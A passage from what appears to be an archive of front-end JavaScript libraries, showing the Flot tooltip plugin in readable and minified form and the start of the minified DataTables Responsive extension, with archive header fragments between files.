y + y0) + x0 * (x * -tg + y - y1)) / (tg * (x1 - x0) + y0 - y1), y: tg * left - tg * x + y }; } (x, y, x0, y0, x1, y1), o.x >= Math.min(x0, x1) && o.x <= Math.max(x0, x1) && o.y >= Math.min(y0, y1) && o.y <= Math.max(y0, y1)) ) { var l1 = lineDistance(x, y, x0, y0), l2 = lineDistance(x, y, x1, y1); return l1 > l2 ? l2 : l1; } else { var a = y0 - y1, b = x1 - x0, c = x0 * y1 - y0 * x1; return Math.abs(a * x + b * y + c) / Math.sqrt(a * a + b * b); } }; if (item) { plot.showTooltip(item, that.tooltipOptions.snap ? item : pos); } else if (that.plotOptions.series.lines.show && that.tooltipOptions.lines === true) { var maxDistance = that.plotOptions.grid.mouseActiveRadius; var closestTrace = { distance: maxDistance + 1 }; var ttPos = pos; $.each(plot.getData(), function (i, series) { var xBeforeIndex = 0, xAfterIndex = -1; // Our search here assumes our data is sorted via the x-axis. // TODO: Improve efficiency somehow - search smaller sets of data. for (var j = 1; j < series.data.length; j++) { if (series.data[j - 1][0] <= pos.x && series.data[j][0] >= pos.x) { xBeforeIndex = j - 1; xAfterIndex = j; } } if (xAfterIndex === -1) { plot.hideTooltip(); return; } var pointPrev = { x: series.data[xBeforeIndex][0], y: series.data[xBeforeIndex][1] }, pointNext = { x: series.data[xAfterIndex][0], y: series.data[xAfterIndex][1] }; var distToLine = dotLineLength(series.xaxis.p2c(pos.x), series.yaxis.p2c(pos.y), series.xaxis.p2c(pointPrev.x), series.yaxis.p2c(pointPrev.y), series.xaxis.p2c(pointNext.x), series.yaxis.p2c(pointNext.y), false); if (distToLine < closestTrace.distance) { var closestIndex = lineDistance(pointPrev.x, pointPrev.y, pos.x, pos.y) < lineDistance(pos.x, pos.y, pointNext.x, pointNext.y) ? xBeforeIndex : xAfterIndex; var pointSize = series.datapoints.pointsize; // Calculate the point on the line vertically closest to our cursor. var pointOnLine = [ pos.x, pointPrev.y + ((pointNext.y - pointPrev.y) * ((pos.x - pointPrev.x) / (pointNext.x - pointPrev.x))) ]; var item = { datapoint: pointOnLine, dataIndex: closestIndex, series: series, seriesIndex: i }; closestTrace = { distance: distToLine, item: item }; if (that.tooltipOptions.snap) { ttPos = { pageX: series.xaxis.p2c(pointOnLine[0]), pageY: series.yaxis.p2c(pointOnLine[1]) }; } } }); if (closestTrace.distance < maxDistance + 1) plot.showTooltip(closestTrace.item, ttPos); else plot.hideTooltip(); } else { plot.hideTooltip(); } } // Quick little function for setting the tooltip position. plot.setTooltipPosition = function (pos) { var $tip = that.getDomElement(); var totalTipWidth = $tip.outerWidth() + that.tooltipOptions.shifts.x; var totalTipHeight = $tip.outerHeight() + that.tooltipOptions.shifts.y; if ((pos.x - $(window).scrollLeft()) > ($(window)[that.wfunc]() - totalTipWidth)) { pos.x -= totalTipWidth; pos.x = Math.max(pos.x, 0); } if ((pos.y - $(window).scrollTop()) > ($(window)[that.hfunc]() - totalTipHeight)) { pos.y -= totalTipHeight; } /* The section applies the new positioning ONLY if pos.x and pos.y are numbers. If they are undefined or not a number, use the last known numerical position. This hack fixes a bug that kept pie charts from keeping their tooltip positioning. */ if (isNaN(pos.x)) { that.tipPosition.x = that.tipPosition.xPrev; } else { that.tipPosition.x = pos.x; that.tipPosition.xPrev = pos.x; } if (isNaN(pos.y)) { that.tipPosition.y = that.tipPosition.yPrev; } else { that.tipPosition.y = pos.y; that.tipPosition.yPrev = pos.y; } }; // Quick little function for showing the tooltip. plot.showTooltip = function (target, position, targetPosition) { var $tip = that.getDomElement(); // convert tooltip content template to real tipText var tipText = that.stringFormat(that.tooltipOptions.content, target); if (tipText === '') return; $tip.html(tipText); plot.setTooltipPosition({ x: that.tipPosition.x, y: that.tipPosition.y }); $tip.css({ left: that.tipPosition.x + that.tooltipOptions.shifts.x, top: that.tipPosition.y + that.tooltipOptions.shifts.y }).show(); // run callback if (typeof that.tooltipOptions.onHover === 'function') { that.tooltipOptions.onHover(target, $tip); } }; // Quick little function for hiding the tooltip. plot.hideTooltip = function () { that.getDomElement().hide().html(''); }; plot.removeTooltip = function() { that.getDomElement().remove(); }; }; /** * get or create tooltip DOM element * @return jQuery object */ FlotTooltip.prototype.getDomElement = function () { var $tip = $('<div>'); if (this.tooltipOptions && this.tooltipOptions.cssClass) { $tip = $('.' + this.tooltipOptions.cssClass); if( $tip.length === 0 ){ $tip = $('<div />').addClass(this.tooltipOptions.cssClass); $tip.appendTo('body').hide().css({position: 'absolute'}); if(this.tooltipOptions.defaultTheme) { $tip.css({ 'background': '#fff', 'z-index': '1040', 'padding': '0.4em 0.6em', 'border-radius': '0.5em', 'font-size': '0.8em', 'border': '1px solid #111', 'display': 'none', 'white-space': 'nowrap' }); } } } return $tip; }; /** * core function, create tooltip content * @param {string} content - template with tooltip content * @param {object} item - Flot item * @return {string} real tooltip content for current item */ FlotTooltip.prototype.stringFormat = function (content, item) { var percentPattern = /%p\.{0,1}(\d{0,})/; var seriesPattern = /%s/; var colorPattern = /%c/; var xLabelPattern = /%lx/; // requires flot-axislabels plugin https://github.com/markrcote/flot-axislabels, will be ignored if plugin isn't loaded var yLabelPattern = /%ly/; // requires flot-axislabels plugin https://github.com/markrcote/flot-axislabels, will be ignored if plugin isn't loaded var xPattern = /%x\.{0,1}(\d{0,})/; var yPattern = /%y\.{0,1}(\d{0,})/; var xPatternWithoutPrecision = "%x"; var yPatternWithoutPrecision = "%y"; var customTextPattern = "%ct"; var nPiePattern = "%n"; var x, y, customText, p, n; // for threshold plugin we need to read data from different place if (typeof item.series.threshold !== "undefined") { x = item.datapoint[0]; y = item.datapoint[1]; customText = item.datapoint[2]; } // for CurvedLines plugin we need to read data from different place else if (typeof item.series.curvedLines !== "undefined") { x = item.datapoint[0]; y = item.datapoint[1]; } else if (typeof item.series.lines !== "undefined" && item.series.lines.steps) { x = item.series.datapoints.points[item.dataIndex * 2]; y = item.series.datapoints.points[item.dataIndex * 2 + 1]; // TODO: where to find custom text in this variant? customText = ""; } else { x = item.series.data[item.dataIndex][0]; y = item.series.data[item.dataIndex][1]; customText = item.series.data[item.dataIndex][2]; } // I think this is only in case of threshold plugin if (item.series.label === null && item.series.originSeries) { item.series.label = item.series.originSeries.label; } // if it is a function callback get the content string if (typeof(content) === 'function') { content = content(item.series.label, x, y, item); } // the case where the passed content is equal to false if (typeof(content) === 'boolean' && !content) { return ''; } /* replacement of %ct and other multi-character templates must precede the replacement of single-character templates to avoid conflict between '%c' and '%ct' and similar substrings */ if (customText) { content = content.replace(customTextPattern, customText); } // percent match for pie charts and stacked percent if (typeof (item.series.percent) !== 'undefined') { p = item.series.percent; } else if (typeof (item.series.percents) !== 'undefined') { p = item.series.percents[item.dataIndex]; } if (typeof p === 'number') { content = this.adjustValPrecision(percentPattern, content, p); } // replace %n with number of items represented by slice in pie charts if (item.series.hasOwnProperty('pie')) { if (typeof item.series.data[0][1] !== 'undefined') { n = item.series.data[0][1]; } } if (typeof n === 'number') { content = content.replace(nPiePattern, n); } // series match if (typeof(item.series.label) !== 'undefined') { content = content.replace(seriesPattern, item.series.label); } else { //remove %s if label is undefined content = content.replace(seriesPattern, ""); } // color match if (typeof(item.series.color) !== 'undefined') { content = content.replace(colorPattern, item.series.color); } else { //remove %s if color is undefined content = content.replace(colorPattern, ""); } // x axis label match if (this.hasAxisLabel('xaxis', item)) { content = content.replace(xLabelPattern, item.series.xaxis.options.axisLabel); } else { //remove %lx if axis label is undefined or axislabels plugin not present content = content.replace(xLabelPattern, ""); } // y axis label match if (this.hasAxisLabel('yaxis', item)) { content = content.replace(yLabelPattern, item.series.yaxis.options.axisLabel); } else { //remove %ly if axis label is undefined or axislabels plugin not present content = content.replace(yLabelPattern, ""); } // time mode axes with custom dateFormat if (this.isTimeMode('xaxis', item) && this.isXDateFormat(item)) { content = content.replace(xPattern, this.timestampToDate(x, this.tooltipOptions.xDateFormat, item.series.xaxis.options)); } if (this.isTimeMode('yaxis', item) && this.isYDateFormat(item)) { content = content.replace(yPattern, this.timestampToDate(y, this.tooltipOptions.yDateFormat, item.series.yaxis.options)); } // set precision if defined if (typeof x === 'number') { content = this.adjustValPrecision(xPattern, content, x); } if (typeof y === 'number') { content = this.adjustValPrecision(yPattern, content, y); } // change x from number to given label, if given if (typeof item.series.xaxis.ticks !== 'undefined') { var ticks; if (this.hasRotatedXAxisTicks(item)) { // xaxis.ticks will be an empty array if tickRotor is being used, but the values are available in rotatedTicks ticks = 'rotatedTicks'; } else { ticks = 'ticks'; } // see https://github.com/krzysu/flot.tooltip/issues/65 var tickIndex = item.dataIndex + item.seriesIndex; for (var xIndex in item.series.xaxis[ticks]) { if (item.series.xaxis[ticks].hasOwnProperty(tickIndex) && !this.isTimeMode('xaxis', item)) { var valueX = (this.isCategoriesMode('xaxis', item)) ? item.series.xaxis[ticks][tickIndex].label : item.series.xaxis[ticks][tickIndex].v; if (valueX === x) { content = content.replace(xPattern, item.series.xaxis[ticks][tickIndex].label.replace(/\$/g, '$$$$')); } } } } // change y from number to given label, if given if (typeof item.series.yaxis.ticks !== 'undefined') { for (var yIndex in item.series.yaxis.ticks) { if (item.series.yaxis.ticks.hasOwnProperty(yIndex)) { var valueY = (this.isCategoriesMode('yaxis', item)) ? item.series.yaxis.ticks[yIndex].label : item.series.yaxis.ticks[yIndex].v; if (valueY === y) { content = content.replace(yPattern, item.series.yaxis.ticks[yIndex].label.replace(/\$/g, '$$$$')); } } } } // if no value customization, use tickFormatter by default if (typeof item.series.xaxis.tickFormatter !== 'undefined') { //escape dollar content = content.replace(xPatternWithoutPrecision, item.series.xaxis.tickFormatter(x, item.series.xaxis).replace(/\$/g, '$$')); } if (typeof item.series.yaxis.tickFormatter !== 'undefined') { //escape dollar content = content.replace(yPatternWithoutPrecision, item.series.yaxis.tickFormatter(y, item.series.yaxis).replace(/\$/g, '$$')); } return content; }; // helpers just for readability FlotTooltip.prototype.isTimeMode = function (axisName, item) { return (typeof item.series[axisName].options.mode !== 'undefined' && item.series[axisName].options.mode === 'time'); }; FlotTooltip.prototype.isXDateFormat = function (item) { return (typeof this.tooltipOptions.xDateFormat !== 'undefined' && this.tooltipOptions.xDateFormat !== null); }; FlotTooltip.prototype.isYDateFormat = function (item) { return (typeof this.tooltipOptions.yDateFormat !== 'undefined' && this.tooltipOptions.yDateFormat !== null); }; FlotTooltip.prototype.isCategoriesMode = function (axisName, item) { return (typeof item.series[axisName].options.mode !== 'undefined' && item.series[axisName].options.mode === 'categories'); }; // FlotTooltip.prototype.timestampToDate = function (tmst, dateFormat, options) { var theDate = $.plot.dateGenerator(tmst, options); return $.plot.formatDate(theDate, dateFormat, this.tooltipOptions.monthNames, this.tooltipOptions.dayNames); }; // FlotTooltip.prototype.adjustValPrecision = function (pattern, content, value) { var precision; var matchResult = content.match(pattern); if( matchResult !== null ) { if(RegExp.$1 !== '') { precision = RegExp.$1; value = value.toFixed(precision); // only replace content if precision exists, in other case use thickformater content = content.replace(pattern, value); } } return content; }; // other plugins detection below // check if flot-axislabels plugin (https://github.com/markrcote/flot-axislabels) is used and that an axis label is given FlotTooltip.prototype.hasAxisLabel = function (axisName, item) { return ($.inArray('axisLabels', this.plotPlugins) !== -1 && typeof item.series[axisName].options.axisLabel !== 'undefined' && item.series[axisName].options.axisLabel.length > 0); }; // check whether flot-tickRotor, a plugin which allows rotation of X-axis ticks, is being used FlotTooltip.prototype.hasRotatedXAxisTicks = function (item) { return ($.inArray('tickRotor',this.plotPlugins) !== -1 && typeof item.series.xaxis.rotatedTicks !== 'undefined'); }; // var init = function (plot) { new FlotTooltip(plot); }; // define Flot plugin $.plot.plugins.push({ init: init, options: defaultOptions, name: 'tooltip', version: '0.8.5' }); })(jQuery); jquery.flot.tooltip.min.js000064400000021255151677327500011661 0ustar00/* * jquery.flot.tooltip * * description: easy-to-use tooltips for Flot charts * version: 0.9.0 * authors: Krzysztof Urbas @krzysu [myviews.pl],Evan Steinkerchner @Roundaround * website: https://github.com/krzysu/flot.tooltip * * build on 2016-07-26 * released under MIT License, 2012 */ !function(a){var b={tooltip:{show:!1,cssClass:"flotTip",content:"%s | X: %x | Y: %y",xDateFormat:null,yDateFormat:null,monthNames:null,dayNames:null,shifts:{x:10,y:20},defaultTheme:!0,snap:!0,lines:!1,clickTips:!1,onHover:function(a,b){},$compat:!1}};b.tooltipOpts=b.tooltip;var c=function(a){this.tipPosition={x:0,y:0},this.init(a)};c.prototype.init=function(b){function c(a){var c={};c.x=a.pageX,c.y=a.pageY,b.setTooltipPosition(c)}function d(c,d,g){f.clickmode?(a(b.getPlaceholder()).bind("plothover",e),b.hideTooltip(),f.clickmode=!1):(e(c,d,g),f.getDomElement().is(":visible")&&(a(b.getPlaceholder()).unbind("plothover",e),f.clickmode=!0))}function e(c,d,e){var g=function(a,b,c,d){return Math.sqrt((c-a)*(c-a)+(d-b)*(d-b))},h=function(a,b,c,d,e,f,h){if(!h||(h=function(a,b,c,d,e,f){if("undefined"!=typeof c)return{x:c,y:b};if("undefined"!=typeof d)return{x:a,y:d};var g,h=-1/((f-d)/(e-c));return{x:g=(e*(a*h-b+d)+c*(a*-h+b-f))/(h*(e-c)+d-f),y:h*g-h*a+b}}(a,b,c,d,e,f),h.x>=Math.min(c,e)&&h.x<=Math.max(c,e)&&h.y>=Math.min(d,f)&&h.y<=Math.max(d,f))){var i=d-f,j=e-c,k=c*f-d*e;return Math.abs(i*a+j*b+k)/Math.sqrt(i*i+j*j)}var l=g(a,b,c,d),m=g(a,b,e,f);return l>m?m:l};if(e)b.showTooltip(e,f.tooltipOptions.snap?e:d);else if(f.plotOptions.series.lines.show&&f.tooltipOptions.lines===!0){var i=f.plotOptions.grid.mouseActiveRadius,j={distance:i+1},k=d;a.each(b.getData(),function(a,c){for(var e=0,i=-1,l=1;l<c.data.length;l++)c.data[l-1][0]<=d.x&&c.data[l][0]>=d.x&&(e=l-1,i=l);if(-1===i)return void b.hideTooltip();var m={x:c.data[e][0],y:c.data[e][1]},n={x:c.data[i][0],y:c.data[i][1]},o=h(c.xaxis.p2c(d.x),c.yaxis.p2c(d.y),c.xaxis.p2c(m.x),c.yaxis.p2c(m.y),c.xaxis.p2c(n.x),c.yaxis.p2c(n.y),!1);if(o<j.distance){var p=g(m.x,m.y,d.x,d.y)<g(d.x,d.y,n.x,n.y)?e:i,q=(c.datapoints.pointsize,[d.x,m.y+(n.y-m.y)*((d.x-m.x)/(n.x-m.x))]),r={datapoint:q,dataIndex:p,series:c,seriesIndex:a};j={distance:o,item:r},f.tooltipOptions.snap&&(k={pageX:c.xaxis.p2c(q[0]),pageY:c.yaxis.p2c(q[1])})}}),j.distance<i+1?b.showTooltip(j.item,k):b.hideTooltip()}else b.hideTooltip()}var f=this,g=a.plot.plugins.length;if(this.plotPlugins=[],g)for(var h=0;g>h;h++)this.plotPlugins.push(a.plot.plugins[h].name);b.hooks.bindEvents.push(function(b,g){if(f.plotOptions=b.getOptions(),"boolean"==typeof f.plotOptions.tooltip&&(f.plotOptions.tooltipOpts.show=f.plotOptions.tooltip,f.plotOptions.tooltip=f.plotOptions.tooltipOpts,delete f.plotOptions.tooltipOpts),f.plotOptions.tooltip.show!==!1&&"undefined"!=typeof f.plotOptions.tooltip.show){f.tooltipOptions=f.plotOptions.tooltip,f.tooltipOptions.$compat?(f.wfunc="width",f.hfunc="height"):(f.wfunc="innerWidth",f.hfunc="innerHeight");f.getDomElement();a(b.getPlaceholder()).bind("plothover",e),f.tooltipOptions.clickTips&&a(b.getPlaceholder()).bind("plotclick",d),f.clickmode=!1,a(g).bind("mousemove",c)}}),b.hooks.shutdown.push(function(b,f){a(b.getPlaceholder()).unbind("plothover",e),a(b.getPlaceholder()).unbind("plotclick",d),b.removeTooltip(),a(f).unbind("mousemove",c)}),b.setTooltipPosition=function(b){var c=f.getDomElement(),d=c.outerWidth()+f.tooltipOptions.shifts.x,e=c.outerHeight()+f.tooltipOptions.shifts.y;b.x-a(window).scrollLeft()>a(window)[f.wfunc]()-d&&(b.x-=d,b.x=Math.max(b.x,0)),b.y-a(window).scrollTop()>a(window)[f.hfunc]()-e&&(b.y-=e),isNaN(b.x)?f.tipPosition.x=f.tipPosition.xPrev:(f.tipPosition.x=b.x,f.tipPosition.xPrev=b.x),isNaN(b.y)?f.tipPosition.y=f.tipPosition.yPrev:(f.tipPosition.y=b.y,f.tipPosition.yPrev=b.y)},b.showTooltip=function(a,c,d){var e=f.getDomElement(),g=f.stringFormat(f.tooltipOptions.content,a);""!==g&&(e.html(g),b.setTooltipPosition({x:f.tipPosition.x,y:f.tipPosition.y}),e.css({left:f.tipPosition.x+f.tooltipOptions.shifts.x,top:f.tipPosition.y+f.tooltipOptions.shifts.y}).show(),"function"==typeof f.tooltipOptions.onHover&&f.tooltipOptions.onHover(a,e))},b.hideTooltip=function(){f.getDomElement().hide().html("")},b.removeTooltip=function(){f.getDomElement().remove()}},c.prototype.getDomElement=function(){var b=a("<div>");return this.tooltipOptions&&this.tooltipOptions.cssClass&&(b=a("."+this.tooltipOptions.cssClass),0===b.length&&(b=a("<div />").addClass(this.tooltipOptions.cssClass),b.appendTo("body").hide().css({position:"absolute"}),this.tooltipOptions.defaultTheme&&b.css({background:"#fff","z-index":"1040",padding:"0.4em 0.6em","border-radius":"0.5em","font-size":"0.8em",border:"1px solid #111",display:"none","white-space":"nowrap"}))),b},c.prototype.stringFormat=function(a,b){var c,d,e,f,g,h=/%p\.{0,1}(\d{0,})/,i=/%s/,j=/%c/,k=/%lx/,l=/%ly/,m=/%x\.{0,1}(\d{0,})/,n=/%y\.{0,1}(\d{0,})/,o="%x",p="%y",q="%ct",r="%n";if("undefined"!=typeof b.series.threshold?(c=b.datapoint[0],d=b.datapoint[1],e=b.datapoint[2]):"undefined"!=typeof b.series.curvedLines?(c=b.datapoint[0],d=b.datapoint[1]):"undefined"!=typeof b.series.lines&&b.series.lines.steps?(c=b.series.datapoints.points[2*b.dataIndex],d=b.series.datapoints.points[2*b.dataIndex+1],e=""):(c=b.series.data[b.dataIndex][0],d=b.series.data[b.dataIndex][1],e=b.series.data[b.dataIndex][2]),null===b.series.label&&b.series.originSeries&&(b.series.label=b.series.originSeries.label),"function"==typeof a&&(a=a(b.series.label,c,d,b)),"boolean"==typeof a&&!a)return"";if(e&&(a=a.replace(q,e)),"undefined"!=typeof b.series.percent?f=b.series.percent:"undefined"!=typeof b.series.percents&&(f=b.series.percents[b.dataIndex]),"number"==typeof f&&(a=this.adjustValPrecision(h,a,f)),b.series.hasOwnProperty("pie")&&"undefined"!=typeof b.series.data[0][1]&&(g=b.series.data[0][1]),"number"==typeof g&&(a=a.replace(r,g)),a="undefined"!=typeof b.series.label?a.replace(i,b.series.label):a.replace(i,""),a="undefined"!=typeof b.series.color?a.replace(j,b.series.color):a.replace(j,""),a=this.hasAxisLabel("xaxis",b)?a.replace(k,b.series.xaxis.options.axisLabel):a.replace(k,""),a=this.hasAxisLabel("yaxis",b)?a.replace(l,b.series.yaxis.options.axisLabel):a.replace(l,""),this.isTimeMode("xaxis",b)&&this.isXDateFormat(b)&&(a=a.replace(m,this.timestampToDate(c,this.tooltipOptions.xDateFormat,b.series.xaxis.options))),this.isTimeMode("yaxis",b)&&this.isYDateFormat(b)&&(a=a.replace(n,this.timestampToDate(d,this.tooltipOptions.yDateFormat,b.series.yaxis.options))),"number"==typeof c&&(a=this.adjustValPrecision(m,a,c)),"number"==typeof d&&(a=this.adjustValPrecision(n,a,d)),"undefined"!=typeof b.series.xaxis.ticks){var s;s=this.hasRotatedXAxisTicks(b)?"rotatedTicks":"ticks";var t=b.dataIndex+b.seriesIndex;for(var u in b.series.xaxis[s])if(b.series.xaxis[s].hasOwnProperty(t)&&!this.isTimeMode("xaxis",b)){var v=this.isCategoriesMode("xaxis",b)?b.series.xaxis[s][t].label:b.series.xaxis[s][t].v;v===c&&(a=a.replace(m,b.series.xaxis[s][t].label.replace(/\$/g,"$$$$")))}}if("undefined"!=typeof b.series.yaxis.ticks)for(var w in b.series.yaxis.ticks)if(b.series.yaxis.ticks.hasOwnProperty(w)){var x=this.isCategoriesMode("yaxis",b)?b.series.yaxis.ticks[w].label:b.series.yaxis.ticks[w].v;x===d&&(a=a.replace(n,b.series.yaxis.ticks[w].label.replace(/\$/g,"$$$$")))}return"undefined"!=typeof b.series.xaxis.tickFormatter&&(a=a.replace(o,b.series.xaxis.tickFormatter(c,b.series.xaxis).replace(/\$/g,"$$"))),"undefined"!=typeof b.series.yaxis.tickFormatter&&(a=a.replace(p,b.series.yaxis.tickFormatter(d,b.series.yaxis).replace(/\$/g,"$$"))),a},c.prototype.isTimeMode=function(a,b){return"undefined"!=typeof b.series[a].options.mode&&"time"===b.series[a].options.mode},c.prototype.isXDateFormat=function(a){return"undefined"!=typeof this.tooltipOptions.xDateFormat&&null!==this.tooltipOptions.xDateFormat},c.prototype.isYDateFormat=function(a){return"undefined"!=typeof this.tooltipOptions.yDateFormat&&null!==this.tooltipOptions.yDateFormat},c.prototype.isCategoriesMode=function(a,b){return"undefined"!=typeof b.series[a].options.mode&&"categories"===b.series[a].options.mode},c.prototype.timestampToDate=function(b,c,d){var e=a.plot.dateGenerator(b,d);return a.plot.formatDate(e,c,this.tooltipOptions.monthNames,this.tooltipOptions.dayNames)},c.prototype.adjustValPrecision=function(a,b,c){var d,e=b.match(a);return null!==e&&""!==RegExp.$1&&(d=RegExp.$1,c=c.toFixed(d),b=b.replace(a,c)),b},c.prototype.hasAxisLabel=function(b,c){return-1!==a.inArray("axisLabels",this.plotPlugins)&&"undefined"!=typeof c.series[b].options.axisLabel&&c.series[b].options.axisLabel.length>0},c.prototype.hasRotatedXAxisTicks=function(b){return-1!==a.inArray("tickRotor",this.plotPlugins)&&"undefined"!=typeof b.series.xaxis.rotatedTicks};var d=function(a){new c(a)};a.plot.plugins.push({init:d,options:b,name:"tooltip",version:"0.8.5"})}(jQuery);dataTables.responsive.min.js000064400000031405151677356120012144 0ustar00/*! Responsive 2.2.3 2014-2018 SpryMedia Ltd - datatables.net/license */ (function(d){"function"===typeof define&&define.amd?define(["jquery","datatables.net"],function(l){return d(l,window,document)}):"object"===typeof exports?module.exports=function(l,j){l||(l=window);if(!j||!j.fn.dataTable)j=require("datatables.net")(l,j).$;return d(j,l,l.document)}:d(jQuery,window,document)})(function(d,l,j,q){function t(a,b,c){var e=b+"-"+c;if(n[e])return n[e];for(var d=[],a=a.cell(b,c).node().childNodes,b=0,c=a.length;b<c;b++)d.push(a[b]);return n[e]=d}function r(a,b,d){var e=b+ "-"+d;if(n[e]){for(var a=a.cell(b,d).node(),d=n[e][0].parentNode.childNodes,b=[],f=0,g=d.length;f<g;f++)b.push(d[f]);d=0;for(f=b.length;d<f;d++)a.appendChild(b[d]);n[e]=q}}var o=d.fn.dataTable,i=function(a,b){if(!o.versionCheck||!o.versionCheck("1.10.10"))throw"DataTables Responsive requires DataTables 1.10.10 or newer";this.s={dt:new o.Api(a),columns:[],current:[]};this.s.dt.settings()[0].responsive||(b&&"string"===typeof b.details?b.details={type:b.details}:b&&!1===b.details?b.details={type:!1}: b&&!0===b.details&&(b.details={type:"inline"}),this.c=d.extend(!0,{},i.defaults,o.defaults.responsive,b),a.responsive=this,this._constructor())};d.extend(i.prototype,{_constructor:function(){var a=this,b=this.s.dt,c=b.settings()[0],e=d(l).width();b.settings()[0]._responsive=this;d(l).on("resize.dtr orientationchange.dtr",o.util.throttle(function(){var b=d(l).width();b!==e&&(a._resize(),e=b)}));c.oApi._fnCallbackReg(c,"aoRowCreatedCallback",function(e){-1!==d.inArray(!1,a.s.current)&&d(">td, >th", e).each(function(e){e=b.column.index("toData",e);!1===a.s.current[e]&&d(this).css("display","none")})});b.on("destroy.dtr",function(){b.off(".dtr");d(b.table().body()).off(".dtr");d(l).off("resize.dtr orientationchange.dtr");d.each(a.s.current,function(b,e){!1===e&&a._setColumnVis(b,!0)})});this.c.breakpoints.sort(function(a,b){return a.width<b.width?1:a.width>b.width?-1:0});this._classLogic();this._resizeAuto();c=this.c.details;!1!==c.type&&(a._detailsInit(),b.on("column-visibility.dtr",function(){a._timer&& clearTimeout(a._timer);a._timer=setTimeout(function(){a._timer=null;a._classLogic();a._resizeAuto();a._resize();a._redrawChildren()},100)}),b.on("draw.dtr",function(){a._redrawChildren()}),d(b.table().node()).addClass("dtr-"+c.type));b.on("column-reorder.dtr",function(){a._classLogic();a._resizeAuto();a._resize()});b.on("column-sizing.dtr",function(){a._resizeAuto();a._resize()});b.on("preXhr.dtr",function(){var e=[];b.rows().every(function(){this.child.isShown()&&e.push(this.id(true))});b.one("draw.dtr", function(){a._resizeAuto();a._resize();b.rows(e).every(function(){a._detailsDisplay(this,false)})})});b.on("init.dtr",function(){a._resizeAuto();a._resize();d.inArray(false,a.s.current)&&b.columns.adjust()});this._resize()},_columnsVisiblity:function(a){var b=this.s.dt,c=this.s.columns,e,f,g=c.map(function(a,b){return{columnIdx:b,priority:a.priority}}).sort(function(a,b){return a.priority!==b.priority?a.priority-b.priority:a.columnIdx-b.columnIdx}),h=d.map(c,function(e,c){return!1===b.column(c).visible()? "not-visible":e.auto&&null===e.minWidth?!1:!0===e.auto?"-":-1!==d.inArray(a,e.includeIn)}),m=0;e=0;for(f=h.length;e<f;e++)!0===h[e]&&(m+=c[e].minWidth);e=b.settings()[0].oScroll;e=e.sY||e.sX?e.iBarWidth:0;m=b.table().container().offsetWidth-e-m;e=0;for(f=h.length;e<f;e++)c[e].control&&(m-=c[e].minWidth);var s=!1;e=0;for(f=g.length;e<f;e++){var k=g[e].columnIdx;"-"===h[k]&&(!c[k].control&&c[k].minWidth)&&(s||0>m-c[k].minWidth?(s=!0,h[k]=!1):h[k]=!0,m-=c[k].minWidth)}g=!1;e=0;for(f=c.length;e<f;e++)if(!c[e].control&& !c[e].never&&!1===h[e]){g=!0;break}e=0;for(f=c.length;e<f;e++)c[e].control&&(h[e]=g),"not-visible"===h[e]&&(h[e]=!1);-1===d.inArray(!0,h)&&(h[0]=!0);return h},_classLogic:function(){var a=this,b=this.c.breakpoints,c=this.s.dt,e=c.columns().eq(0).map(function(a){var b=this.column(a),e=b.header().className,a=c.settings()[0].aoColumns[a].responsivePriority;a===q&&(b=d(b.header()).data("priority"),a=b!==q?1*b:1E4);return{className:e,includeIn:[],auto:!1,control:!1,never:e.match(/\bnever\b/)?!0:!1,priority:a}}), f=function(a,b){var c=e[a].includeIn;-1===d.inArray(b,c)&&c.push(b)},g=function(d,c,g,k){if(g)if("max-"===g){k=a._find(c).width;c=0;for(g=b.length;c<g;c++)b[c].width<=k&&f(d,b[c].name)}else if("min-"===g){k=a._find(c).width;c=0;for(g=b.length;c<g;c++)b[c].width>=k&&f(d,b[c].name)}else{if("not-"===g){c=0;for(g=b.length;c<g;c++)-1===b[c].name.indexOf(k)&&f(d,b[c].name)}}else e[d].includeIn.push(c)};e.each(function(a,e){for(var c=a.className.split(" "),f=!1,i=0,l=c.length;i<l;i++){var j=d.trim(c[i]); if("all"===j){f=!0;a.includeIn=d.map(b,function(a){return a.name});return}if("none"===j||a.never){f=!0;return}if("control"===j){f=!0;a.control=!0;return}d.each(b,function(a,b){var d=b.name.split("-"),c=j.match(RegExp("(min\\-|max\\-|not\\-)?("+d[0]+")(\\-[_a-zA-Z0-9])?"));c&&(f=!0,c[2]===d[0]&&c[3]==="-"+d[1]?g(e,b.name,c[1],c[2]+c[3]):c[2]===d[0]&&!c[3]&&g(e,b.name,c[1],c[2]))})}f||(a.auto=!0)});this.s.columns=e},_detailsDisplay:function(a,b){var c=this,e=this.s.dt,f=this.c.details;if(f&&!1!==f.type){var g= f.display(a,b,function(){return f.renderer(e,a[0],c._detailsObj(a[0]))});(!0===g||!1===g)&&d(e.table().node()).triggerHandler("responsive-display.dt",[e,a,g,b])}},_detailsInit:function(){var a=this,b=this.s.dt,c=this.c.details;"inline"===c.type&&(c.target="td:first-child, th:first-child");b.on("draw.dtr",function(){a._tabIndexes()});a._tabIndexes();d(b.table().body()).on("keyup.dtr","td, th",function(a){a.keyCode===13&&d(this).data("dtr-keyboard")&&d(this).click()});var e=c.target;d(b.table().body()).on("click.dtr mousedown.dtr mouseup.dtr", "string"===typeof e?e:"td, th",function(c){if(d(b.table().node()).hasClass("collapsed")&&d.inArray(d(this).closest("tr").get(0),b.rows().nodes().toArray())!==-1){if(typeof e==="number"){var g=e<0?b.columns().eq(0).length+e:e;if(b.cell(this).index().column!==g)return}g=b.row(d(this).closest("tr"));c.type==="click"?a._detailsDisplay(g,false):c.type==="mousedown"?d(this).css("outline","none"):c.type==="mouseup"&&d(this).blur().css("outline","")}})},_detailsObj:function(a){var b=this,c=this.s.dt;return d.map(this.s.columns, function(e,d){if(!e.never&&!e.control)return{title:c.settings()[0].aoColumns[d].sTitle,data:c.cell(a,d).render(b.c.orthogonal),hidden:c.column(d).visible()&&!b.s.current[d],columnIndex:d,rowIndex:a}})},_find:function(a){for(var b=this.c.breakpoints,c=0,e=b.length;c<e;c++)if(b[c].name===a)return b[c]},_redrawChildren:function(){var a=this,b=this.s.dt;b.rows({page:"current"}).iterator("row",function(c,e){b.row(e);a._detailsDisplay(b.row(e),!0)})},_resize:function(){var a=this,b=this.s.dt,c=d(l).width(), e=this.c.breakpoints,f=e[0].name,g=this.s.columns,h,m=this.s.current.slice();for(h=e.length-1;0<=h;h--)if(c<=e[h].width){f=e[h].name;break}var i=this._columnsVisiblity(f);this.s.current=i;e=!1;h=0;for(c=g.length;h<c;h++)if(!1===i[h]&&!g[h].never&&!g[h].control&&!1===!b.column(h).visible()){e=!0;break}d(b.table().node()).toggleClass("collapsed",e);var 